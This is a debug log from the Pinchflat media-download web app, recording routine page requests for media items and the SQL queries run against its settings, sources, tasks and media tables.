04:53:48.385 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "90844", "source_id" => "30"} Pipelines: [:browser] 04:53:48.387 [info] GET /sources/30/media/90846 04:53:48.387 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "90846", "source_id" => "30"} Pipelines: [:browser] 04:53:48.387 [info] GET /sources/31/media/91238 04:53:48.387 [debug] QUERY OK source="media_items" db=1.2ms queue=0.1ms idle=3.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [90844] 04:53:48.388 [debug] QUERY OK source="settings" db=1.3ms queue=0.3ms idle=5.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:48.388 [info] Sent 200 in 10ms 04:53:48.388 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "91238", "source_id" => "31"} Pipelines: [:browser] 04:53:48.390 [debug] QUERY OK source="settings" db=1.5ms queue=0.1ms idle=3.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:48.391 [debug] QUERY OK source="media_items" db=2.4ms queue=0.8ms idle=4.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [90846] 04:53:48.391 [debug] QUERY OK source="settings" db=2.6ms queue=0.3ms idle=3.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:48.392 [debug] QUERY OK source="settings" db=1.7ms idle=2.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:48.393 [debug] QUERY OK source="media_items" db=3.6ms queue=0.1ms idle=1.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [91238] 04:53:48.394 [debug] QUERY OK source="settings" db=1.7ms queue=0.1ms idle=1.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:48.396 [debug] QUERY OK source="tasks" db=2.3ms queue=1.2ms idle=2.1ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [90846] 04:53:48.397 [debug] QUERY OK source="tasks" db=2.3ms idle=1.3ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [91238] 04:53:48.397 [debug] QUERY OK source="settings" db=3.2ms queue=0.2ms idle=1.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:48.397 [debug] QUERY OK source="sources" db=3.9ms queue=0.1ms idle=2.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [30] 04:53:48.398 [debug] QUERY OK source="sources" db=3.2ms queue=0.3ms idle=0.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [31] 04:53:48.399 [debug] QUERY OK source="media_profiles" db=1.4ms queue=0.1ms idle=1.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [2] 04:53:48.399 [debug] QUERY OK source="settings" db=0.7ms queue=0.2ms idle=1.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:48.400 [debug] QUERY OK source="settings" db=1.0ms queue=0.1ms idle=1.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:48.401 [debug] QUERY OK source="settings" db=0.9ms queue=0.1ms idle=2.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:48.402 [info] Sent 200 in 16ms 04:53:48.402 [debug] QUERY OK source="settings" db=1.9ms queue=0.1ms idle=2.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:48.404 [debug] QUERY OK source="settings" db=0.6ms idle=4.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:48.404 [debug] QUERY OK source="settings" db=2.0ms queue=0.3ms idle=3.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:48.405 [info] Sent 200 in 23ms 04:53:48.407 [debug] QUERY OK source="media_profiles" db=0.3ms queue=0.1ms idle=6.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [2] 04:53:48.407 [debug] QUERY OK source="media_profiles" db=0.7ms idle=5.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [2] 04:53:48.411 [info] Sent 200 in 24ms 04:53:48.412 [info] Sent 200 in 24ms 04:53:48.427 [info] GET /sources/30/media/90846/edit 04:53:48.427 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "90846", "source_id" => "30"} Pipelines: [:browser] 04:53:48.437 [debug] QUERY OK source="media_items" db=9.2ms idle=25.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [90846] 04:53:48.443 [debug] QUERY OK source="settings" db=5.1ms idle=33.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:48.447 [debug] QUERY OK source="settings" db=3.2ms idle=39.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:48.449 [debug] QUERY OK source="settings" db=0.3ms queue=0.1ms idle=41.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:48.452 [info] Sent 200 in 25ms 04:53:48.503 [info] GET /sources/31/media/91238/edit 04:53:48.504 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "91238", "source_id" => "31"} Pipelines: [:browser] 04:53:48.505 [debug] QUERY OK source="media_items" db=0.6ms queue=0.1ms idle=96.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [91238] 04:53:48.506 [debug] QUERY OK source="settings" db=0.3ms queue=0.1ms idle=68.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:48.507 [debug] QUERY OK source="settings" db=0.4ms idle=63.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:48.509 [debug] QUERY OK source="settings" db=0.4ms idle=61.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:48.512 [info] Sent 200 in 8ms 04:53:48.544 [info] GET /sources/31/media/91241 04:53:48.545 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "91241", "source_id" => "31"} Pipelines: [:browser] 04:53:48.547 [debug] QUERY OK source="media_items" db=0.5ms idle=97.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [91241] 04:53:48.548 [debug] QUERY OK source="tasks" db=0.3ms idle=42.8ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [91241] 04:53:48.549 [debug] QUERY OK source="sources" db=0.5ms idle=41.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [31] 04:53:48.550 [debug] QUERY OK source="settings" db=0.4ms idle=42.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:48.551 [debug] QUERY OK source="settings" db=0.4ms idle=41.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:48.552 [debug] QUERY OK source="settings" db=0.3ms queue=0.1ms idle=4.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:48.553 [info] GET /sources/30/media/90848 04:53:48.553 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "90848", "source_id" => "30"} Pipelines: [:browser] 04:53:48.555 [debug] QUERY OK source="media_profiles" db=1.2ms idle=5.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [2] 04:53:48.555 [debug] QUERY OK source="media_items" db=1.0ms queue=0.1ms idle=5.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [90848] 04:53:48.557 [debug] QUERY OK source="tasks" db=0.5ms idle=6.0ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [90848] 04:53:48.557 [debug] QUERY OK source="sources" db=1.0ms idle=5.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [30] 04:53:48.558 [debug] QUERY OK source="settings" db=0.3ms idle=5.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:48.559 [debug] QUERY OK source="settings" db=0.4ms idle=3.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:48.560 [info] Sent 200 in 15ms 04:53:48.561 [debug] QUERY OK source="settings" db=0.3ms idle=4.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:48.562 [info] GET /sources/30/media/90848/edit 04:53:48.562 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "90848", "source_id" => "30"} Pipelines: [:browser] 04:53:48.564 [debug] QUERY OK source="media_profiles" db=0.6ms idle=6.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [2] 04:53:48.564 [debug] QUERY OK source="media_items" db=0.7ms idle=5.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [90848] 04:53:48.565 [debug] QUERY OK source="settings" db=0.3ms queue=0.1ms idle=6.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:48.566 [debug] QUERY OK source="settings" db=0.3ms queue=0.1ms idle=6.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:48.567 [debug] QUERY OK source="settings" db=0.3ms idle=6.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:48.569 [info] Sent 200 in 15ms 04:53:48.571 [info] Sent 200 in 8ms 04:53:48.571 [info] GET /sources/31/media/91243 04:53:48.572 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "91243", "source_id" => "31"} Pipelines: [:browser] 04:53:48.572 [info] GET /sources/31/media/91241/edit 04:53:48.572 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "91241", "source_id" => "31"} Pipelines: [:browser] 04:53:48.574 [debug] QUERY OK source="media_items" db=1.6ms idle=8.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [91243] 04:53:48.574 [debug] QUERY OK source="media_items" db=1.8ms idle=8.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [91241] 04:53:48.577 [debug] QUERY OK source="tasks" db=1.3ms queue=0.2ms idle=9.8ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [91243] 04:53:48.577 [debug] QUERY OK source="settings" db=2.1ms idle=7.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:48.578 [debug] QUERY OK source="sources" db=2.3ms queue=0.1ms idle=9.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [31] 04:53:48.579 [debug] QUERY OK source="settings" db=0.6ms queue=0.1ms idle=3.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:48.579 [debug] QUERY OK source="settings" db=0.6ms queue=0.1ms idle=3.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:48.581 [debug] QUERY OK source="settings" db=0.9ms queue=0.1ms idle=2.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", 